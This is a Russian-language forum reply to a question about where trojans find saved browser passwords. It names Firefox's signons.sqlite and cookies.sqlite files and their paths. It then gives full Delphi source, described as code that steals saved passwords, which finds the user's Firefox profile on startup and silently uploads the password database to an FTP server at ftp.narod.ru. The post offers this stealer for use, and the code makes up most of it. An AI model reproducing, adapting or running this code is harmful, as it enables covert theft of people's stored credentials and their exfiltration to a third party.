Цитата:
Сообщение от TikTik
Откуда из Браузеров Трой тянет инфу о паролях и почте?? интрересуют Mozila и IE если можно название файликов и пути к ним пожалуйста
|
Mozilla
Вроде как файле signons.sqlite -> сохр пароли (но не уверен)(Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\'+FireFoxUser+'\sign ons.sqlite')
Код который тырит сохр. пароли:
Код:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection,
IdTCPClient, IdFTP;
type
TForm1 = class(TForm)
ListBox1: TListBox;
Edit1: TEdit;
IdFTP1: TIdFTP;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
//На переменные которые лишние -> не обращаем внимания :)
function GetUserFromWindows: string;
var
UserName : string;
UserNameLen : Dword;
begin
UserNameLen := 255;
SetLength(userName, UserNameLen);
if GetUserName(PChar(UserName), UserNameLen) then
Result := Copy(UserName,1,UserNameLen - 1)
else
Result := 'Unknown';
end;
function GetSystemDisk: string;
var
S: array[0..MAX_PATH] of Char;
begin
GetWindowsDirectory(S,SizeOf(S));
Result:=copy(S,0,1);
end;
procedure TForm1.FormCreate(Sender: TObject);
var
User,Disc:string;
coock,st,mask:string;
f:TextFile;
i:integer;
Sf:tsearchrec;
find:integer;
Firefox:string;
FireFoxUser:string;
begin
//code by wolmer
Disc:=GetSystemDisk;
User:=GetUserFromWindows;
find:=FindFirst(Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\*',faDirectory,sf);
if find=0 then
begin
if ((Sf.Attr and faDirectory) = faDirectory) and
((Sf.Name = '.') or (Sf.Name = '..')) then
begin
Find:=FindNext(Sf);
end;
find:=FindNext(sf);
FireFoxUser:=sf.name;
end;
Firefox:= Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\'+FireFoxUser+'\signons.sqlite';
if FileExists(Firefox) then
begin
IdFTP1.Username:='123';
IdFTP1.Password:='123';
IdFTP1.Host:='ftp.narod.ru';
IdFTP1.Port:=21;
IdFTP1.Connect();
IdFTP1.Put(FireFox, 'NameFile1');
IdFTP1.Disconnect;
end;
end;
end.
Ну а куки мозила хранит в cookies.sqlite
Вот для многих будет полезная информация о том какой файл и за что отвечает в мозиле:
http://wiki.mozilla-russia.org/index.php/О%20профилях%20Mozilla%20Firefox |
